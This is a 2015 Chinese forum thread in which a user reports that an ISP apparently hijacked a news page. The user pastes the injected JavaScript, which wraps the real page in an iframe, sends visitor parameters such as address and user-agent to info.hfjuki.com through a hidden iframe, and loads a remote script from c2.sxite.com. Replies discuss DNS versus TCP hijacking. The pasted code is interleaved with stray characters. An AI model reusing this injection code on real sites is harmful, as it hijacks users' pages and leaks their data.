AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️FB BM不限额,短id账单户
BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理
虚拟信用卡+独立站收款全球虚拟卡, 支持U充值各种主页、账单户、BM户(优势)⚡️TikTok企业户,bm户,账单户
IPCola原生住宅IP⚡️$1.8/条双ISP提供TK企业新户老户、谷歌新户老户海外CL企业户源头PTM虚拟卡[全新卡BIN+高返点]
FB虚拟卡⚡️消费越多返现越多最大欧洲Nutra网盟BA找量 FB个号1块一个寻找顶级电商?AdsBranded等你!
TK老户/国内外端口/预审/加白SX.ORG 高质量代理⚡235+ 地区GG,FB,TK, 欧美源头, 欢迎合作广告位出租
8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构  
查看: 8684|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

772

广告币

1423

积分

高级会员

Rank: 4

积分
1423
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
HuiTong虚拟卡
本帖最后由 hudba 于 2015-2-3 00:56 编辑 8 Y  K+ ^9 ^* l2 a% |' t

2 `; k6 F# ?3 z6 {# y4 N6 l上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了/ @5 u- K7 G( v

8 o" S8 G) ^0 F0 a# p3 v( |接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}$ U. P3 s$ v' @1 T1 K' A: g
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

% i. G  k4 u0 L; B1 r. g  ~( e6 o& S3 y4 T7 R
顺便查下ip138:, S! c7 E* _* m0 q6 ~

% b6 y& N6 A! J% f( B4 d这是那段js里面的代码,好象是个半成品还没写入广告数据:  A9 I5 I; z( I2 r
  1. function locationSearch() {( C& M* o" R; l3 C- s3 K
  2.         var s = getMainJs();
    1 S9 s3 y) Z# j0 U) {% G) W2 m
  3.         if (s == null) {
    - z2 E' G' M4 ^4 i# A! {) |7 i
  4.                 location.reload();' k- P' n2 L- P; G( M+ [
  5.         }
    * G2 ^5 O8 c1 @% Z
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    ; a- W6 M+ ^4 ^9 f; ?2 {8 q
  7. }0 z% y: O. g1 g

  8. 7 O+ O' B+ G1 U" I, l% R
  9. function getParameter(name, paraStr) {- `- f2 N, N, m) X9 m; U
  10.         var result = "";
    + L2 p7 r/ \. R4 S
  11.         var str = "&" + paraStr.split("?")[1];
    4 T( A7 I7 _+ y. o7 _
  12.         var paraName = "&" + name + "=";
    - f8 h/ o' b0 L" S8 X' |3 O
  13.         if (str.indexOf(paraName) != -1) {/ t: P6 K; e4 Q: w
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {0 q& |5 h/ H& o
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
      u, Y" Y8 P# w$ c! B6 y
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    5 e, U0 h" z8 l( X
  17.                                         1, TmpStr.length).indexOf("&")3 i. R1 P; x* \( }# Q: |/ w
  18.                                         - TmpStr.indexOf(paraName) + 1);
    & ^4 s) _  ]2 J. s$ P
  19.                 } else {
    7 Q3 V0 o+ C& J9 n7 i3 F5 w
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    % Q, Z" ]! o& c) n1 W
  21.                 }6 i$ {7 A7 X3 [& m! b8 E# T
  22. 1 d, B& e) Z1 X  {6 N4 \% v) P
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);: p& W2 a; ~) t
  24.         } else {& g9 j& Y9 r& `- W0 \
  25.                 result = "No such parameter";
    + x& }% s5 M. y, a, L$ ^% E
  26.         }
    , l# r; S: O8 F5 ?/ u+ G8 _
  27.         return (result.replace("&", ""));$ h# a7 B% K- o  V( U
  28. }% H4 M! W6 h! N$ @) T. C
  29. ' a: o# K9 Y4 u' ?
  30. function getMainJs() {
    : L9 ~# O4 f% o7 q8 o* K9 \+ h# u  n+ F
  31.         var scripts = document.getElementsByTagName("script");+ V% L: n9 z6 z9 s5 J3 n# {
  32.         var s = null;
    - S6 Q1 w# L2 Y; S2 B4 O
  33.         for (var i = 0; i < scripts.length; i++) {
    - E0 d; A- j1 V' C' `# m8 [
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    + A4 _/ t! A$ U; b' A) W0 u" I4 K
  35.                         s = scripts[i];" k. V' s! x1 z# ]- g: l- c
  36.                         break;/ _3 ^5 `& U9 e# k! i2 U
  37.                 }& [* \4 T/ p) z
  38.         }# w; ~5 o$ g# g$ k
  39.         return s;: X; C. V+ P: f6 ~. |' @- e9 _
  40. }
    0 \8 a# ~! b. P* e$ H: w; E
  41. + l8 ~7 i7 X+ i
  42. function appendParam(oStr, aStr) {$ {0 M$ B9 F) h/ b% A% W0 x
  43.         if (oStr.indexOf('?') > 0) {' q; ?4 b% L9 w1 P$ r* X0 C; ^
  44.                 oStr = oStr + "&" + aStr;  k5 ]. |& e& _% u% b
  45.         } else {; W' R8 X  y% U8 K) U
  46.                 oStr = oStr + "?" + aStr;
    % }4 v7 r/ Q& L0 u+ N6 k
  47.         }
    6 R# h  ?  j2 K& U
  48.         return oStr;7 q; Q/ m. w, Y+ p
  49. }* L4 ]; Z8 H3 M. }& _. o
  50.   T9 H0 U0 O# ]8 `9 p" V$ p2 P8 g
  51. window.onerror = function() {
    3 F9 U& p9 H% K6 R4 g% d3 y
  52. };, G; Y  S. c% p% y: }' k
  53. 2 L) y) d; e: }# }7 [
  54. var g_titleTime = 0;
    5 X5 _8 d8 Q) B4 U& Z5 o' B0 f& l
  55. function setTcTitle() {% f9 k, P; ~  V( _
  56.         if (undefined == document) {
    4 n) f  L) B- P; Z' m" ]! J
  57.                 g_titleTime++;
    $ _  n5 q0 Z5 f& M
  58.                 setTimeout("setTcTitle();", 1000);1 m2 `; U/ s2 f: k
  59.                 return;/ P. z! _- G1 c' k% A7 p! c
  60.         }
    " s- ]( W8 [9 |
  61. ( r8 E& D7 Q2 P+ q
  62.         var doc;, |  n' ]' @( ?/ @+ K$ b
  63.         try {' N6 u5 \4 u+ m! y2 r# D
  64.                 if (document.all) {
    . W. I$ |: e" A: N/ \6 z3 w2 |2 N
  65.                         doc = document.frames["cn"].document;
      }( m: m' G0 R$ e5 M& ?' B6 C
  66.                 } else {& y8 b: `$ O6 n* `4 ]& a
  67.                         doc = document.getElementById("cn").contentDocument;, K& z" t1 d9 z3 _* O
  68.                 }$ L2 }  d* O0 @" t& A
  69.         } catch (ex) {3 I! j3 j. p) s6 I! S8 I$ J5 [' _
  70.         }2 V5 s0 n7 T5 r  i1 N: O
  71. 6 D& y5 T0 V0 h! B2 J
  72.         if (g_titleTime < 5
    , \" |2 d2 B& m' Q  I
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {( A+ q& n% Y1 }
  74.                 g_titleTime++;: S+ [( H- o. y& f$ [( O/ z9 j/ X  `% a
  75.                 setTimeout("setTcTitle();", 1000);2 |: D9 W: N5 ?  [% z# Z3 T2 f
  76.                 return;
    # m9 l# y# v" ]3 @$ M# U
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    & z- i  _, Y! R2 P2 [" }. N
  78.                 document.title = doc.title;) W6 `( o7 K4 ^
  79.                 setTcAdvVisible();, B$ {  ]/ [  U  g8 Q7 J
  80.         }- n( E* w6 |  C( z( ]+ ?
  81. }
    , J  p; e6 @2 j7 d8 M

  82. # ]; Z/ e$ u# j( [" c
  83. setTimeout("setTcTitle();", 1000);2 x$ H6 S0 ^# f, i7 o! g' o4 m
  84. 1 i. D! `3 M: T+ T" s
  85. var g_isHaveVisible = false;
    , I: d: W5 h( E" N  v
  86. function setTcAdvVisible() {
    ; I) f1 C" N  a& e) ~: |; _0 j! w
  87.         if (undefined != document && undefined != document.getElementById("addiv")
    6 e4 ~0 V. b! Z  _
  88.                         && !g_isHaveVisible) {
    2 z6 _/ t! C( H: l& w
  89.                 document.getElementById("addiv").style.visibility = 'visible';3 B2 C! e) s- Z" ?
  90.                 document.getElementById("addiv").style.display = 'block';
    6 y2 k$ S! ?& l3 C
  91.                 g_isHaveVisible = true;, m& X& {3 q# ^1 p
  92.         }
    , B  j' L8 |$ }
  93. }
    , g' K' V- X( _

  94. : d5 p( F$ \: P) Q
  95. function UrlAnalyzer() {; ]5 j3 ?0 f& _: T" G8 r* X( y; S8 L
  96.         this.divda = "";
    5 L9 M$ Y- o$ J! G
  97.         this.tctype = "";1 ^: \3 S* d7 _. a: I0 V* z
  98.         this.radius = "";
    ' m% `* Y: }# ~5 Z/ X4 F
  99.         this.rlu = "";. }6 p& U" y8 C0 O% }- u  M& y/ }7 e
  100. }
    6 r$ @6 T. J$ N8 r
  101. : D& a1 R5 [( r+ |6 ^' c
  102. UrlAnalyzer.prototype.initParameters = function() {
    ! Z3 ?' M5 z7 X& }% e& r
  103.         var paraStr = locationSearch();
      W  j" W. ?( M) `; }
  104.         this.rlu = getParameter("lruedct", paraStr);& I3 U( L) Y+ S* B! T% H. I* Z
  105.         this.divda = getParameter("divda", paraStr);
    ) k' l, i0 w3 V  e
  106.         this.radius = getParameter("radius", paraStr);
    # c! p& |1 J2 m" r; }: q" C% Z  O
  107.         this.tctype = getParameter("tctype", paraStr);) s7 I; ^" s( ~) V: t0 E
  108.         this.address = getParameter("address", paraStr);$ {, _. `# @/ E( w9 F8 o" h
  109.         this.usagent = getParameter("usagent", paraStr);2 x  _2 \7 l3 a5 }
  110. }
    4 Q. G) E, ^1 e% H
  111. ) p3 T# S5 ?# `( r# s# L
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {3 E% I, w+ ^$ P6 D, Z" q: N5 U9 [
  113.         var doc;
    , T; B' r  {" y- [  f* Y% J
  114.         try {
    ( O8 J5 h; U* [+ e' e* ~) y! i
  115.                 if (document.all) {# M" l  \: }- a6 g, Z& W% d% ]3 ~# T
  116.                         doc = document.frames["cn"].document;0 Y. }, I3 \. m2 ?
  117. 4 L5 g7 O7 D! N" y8 e
  118.                 } else {3 m* }8 S& n+ I% r" _
  119.                         doc = document.getElementById("cn").contentDocument;4 w& R3 s3 C5 \: U. ]/ q
  120.                         // doc = document.getElementById("cn").contentWindow.document;
    1 y* u9 s5 `) n4 ?7 ~, q
  121.                 }
    % D4 _6 q2 ~! n
  122.         } catch (ex) {) E0 x' i6 z1 S/ l7 D6 a
  123.         }
    $ X/ Y# [& \, `6 w) D* W8 o% w
  124.         return doc;
    " v% d. Q1 v$ P$ D
  125. }
    . g0 O4 q; [) f+ }

  126. 8 }, G4 v9 ~3 U$ e& P$ b! s
  127. UrlAnalyzer.prototype.setDomain = function() {
    3 G. J0 }; W, j1 n& e
  128.         if (undefined != document.title && "" == document.title), P4 s  s2 ]* J* n
  129.         {  f) K$ O3 }  o  c2 }) g
  130.                 var index = document.domain.indexOf(".");6 T5 \7 {& P7 R+ I9 {: c: }/ d% b
  131.                 if (undefined != index && -1 != index) {3 S- V2 [, y  n# K
  132.                         document.domain = document.domain.substring(index + 1,
    * r1 }& s3 G( s" s
  133.                                         document.domain.length);9 A. N' \0 L1 r% q& ^
  134.                 }
    % B/ F& m8 z5 b9 F9 V
  135.                 & g6 g3 x8 R" C' u$ V
  136.                 var doc = this.getHtmlDoc();% n  m5 _; L$ A9 {2 K
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
      i0 K& `) U* C# B5 d7 p$ J
  138.                         document.title = doc.title;0 M; _( K8 c; f" T# K
  139.                         setTcAdvVisible();$ c4 Y  w8 [0 G) k( b4 l- D
  140.                 }
    $ f, C" g. U! a& k! ?" J
  141.         }! }; ]0 L9 r/ [. f8 S/ J
  142. }6 J7 O5 e1 K' z; w6 K3 x: _1 v( S7 p+ _
  143. * R2 N& z) p, h/ Z5 k
  144. UrlAnalyzer.prototype.iframeCallback = function() {( a6 p; S5 A/ \7 b" E) L! H, x2 {
  145.         var doc = this.getHtmlDoc();1 t" g0 T) y9 X( b# S6 W
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {) ?5 T1 A" q( N' M$ ~3 O/ _
  147.                 if (undefined != document.domain) {0 J% Z) m' M, J. N
  148. 0 d% x  i5 s; i, G1 F7 Y: `* [* o
  149.                         var self = this;
    ) p1 O! R1 j9 ?) B
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    , Y! D) O" b) ?% P5 X. G( x- j
  151.                         // var index = document.domain.indexOf(".");
    : C; [6 b7 e$ }% e4 E; t3 h7 q1 a
  152.                         // if (undefined != index && -1 != index) {/ H' ~; b2 ]- j# Z9 f
  153.                         // document.domain = document.domain.substring(index + 1,
    ) O! D. G2 g  C5 W* z" _
  154.                         // document.domain.length);
    ( l  I/ {  y9 K$ w
  155.                         // }
    + {. [" `5 v6 j; a/ i# F7 P7 @
  156.                         //) @! L' r9 {1 N2 ]4 y  E3 g
  157.                         // var doc = this.getHtmlDoc();
    , @) q. I1 _+ p! I& [
  158.                         // if (undefined != doc && undefined != doc.title && "" !=
    + h9 `. x# i/ O) c: C" m
  159.                         // doc.title) {
    & u3 Q( ~& k( I+ B
  160.                         // document.title = doc.title;/ P, i' d& A! k, M/ {4 V0 S
  161.                         // setTcAdvVisible();0 r' k# ?) _- m5 Q
  162.                         // }
    0 G+ d# W; w9 J% d$ j
  163.                 }) d, ?6 S! t' }9 E! W
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    $ {4 X. D. b1 b( Y  Z3 o, v6 H
  165.                 document.title = doc.title;
    , b/ w& M% F+ S
  166.                 setTcAdvVisible();
    7 c+ _1 ]" s/ d! l4 Q
  167.         }2 }2 c0 A; n- L  d! V$ x
  168. }
    / b$ h) j3 s9 t

  169. 9 C! i! |' u5 z3 _8 p, Z
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {
    6 \. N9 w: d. `6 m1 d( z6 A' v
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda( O4 ^& Z5 [0 e; F& C; {
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;5 {3 ~, Y) ?" u5 [: {- R9 S
  173. , M9 {  C: \. P: \* t$ u
  174.         var htmlStr = "<iframe src="" + staUrl
    % c$ e* I0 ?$ {, t* x3 g9 r
  175.                         + "" style="display:none"></iframe>";
    ' g" K0 Y% i6 l/ o6 \. _( j

  176. / r6 D8 u( j7 r' ^4 n" N! T0 [
  177.         var advUrl = htmlStr2 W. y) m+ n: |6 H8 h3 D8 E5 j
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="& [7 I2 S& ?( H, G
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    , s- [. A) n6 y9 g+ ?  O
  180.         document.write(advUrl);
    ( Y/ ]- m( k  X6 t
  181. 0 u. z8 Q0 l& y3 F) I% T1 t
  182.         var self = this;" R% s* v1 t' g3 z4 w' g, h+ O
  183.         var iframe = document.getElementById("cn");
    + m$ j9 I: a$ Z; r
  184.         if (iframe.attachEvent) {
    # ^& V0 ]9 K  x, h, t, N
  185.                 iframe.attachEvent("onload", function() {
    0 X: w+ A9 Q# N6 \* C
  186.                         self.iframeCallback.call(self, null);
    * q3 E$ M) ?7 S- U  `4 t
  187.                 });# l' R# \% Q' s( H; w
  188.         } else {
    ( \$ d& s  w  p2 k( ^" j5 a9 e
  189.                 iframe.onload = function() {
    - N4 w( p4 Q4 s' K
  190.                         self.iframeCallback.call(self, null);5 E7 {1 g; @3 {2 y7 j$ A
  191.                 }+ U/ g& l# @, w9 b5 z- s
  192.         }1 M9 S: Y3 C) o7 \$ A( K0 C
  193. }* ^' E  O9 B8 r- ^% w6 G
  194. . o0 S4 r! W: \4 {
  195. UrlAnalyzer.prototype.executeMain = function() {2 Q3 v# ~. T' `! [4 y5 v
  196.         var mainFrame = document.getElementById("cn");
    & S- i$ t: K7 `: L3 e1 Y+ K# }
  197.         mainFrame.contentWindow.location.href = mainFrame.src;
    7 h2 q/ d) @( h3 b
  198.         this.initParameters();
    ) X0 i9 ?0 x- H4 C  }
  199.         this.executeHtmlContext();
    , E2 G4 J  A  r# v
  200. }
    4 T$ P9 e7 I2 K( V4 H6 d; p
  201. ( v7 ~4 ]3 `/ J0 z+ K
  202. var g_analyzer = new UrlAnalyzer();( g/ y  [' M1 c8 Z* ?& y
  203. g_analyzer.executeMain();
    # l# I8 N6 K9 \! c* l
复制代码
5 X/ q$ B5 P3 ^9 r3 D
: P/ W" R5 i( A7 x
# m% s. {& h$ S8 v. h

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

456

广告币

842

积分

中级会员

Rank: 3Rank: 3

积分
842
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

Rank: 3Rank: 3

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

Rank: 4

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49
- q4 ?  Z" V, w: f* H所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...
: L; N+ _( Z7 Y1 \1 Z7 o; a
TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
& M0 O* ^' J, ETCP劫持,换DNS也不管用的。

' N# t$ Z( G! h; F" g9 z& ?. s! L. L5 n; }幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-2-17 14:07 , Processed in 0.055568 second(s), 14 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表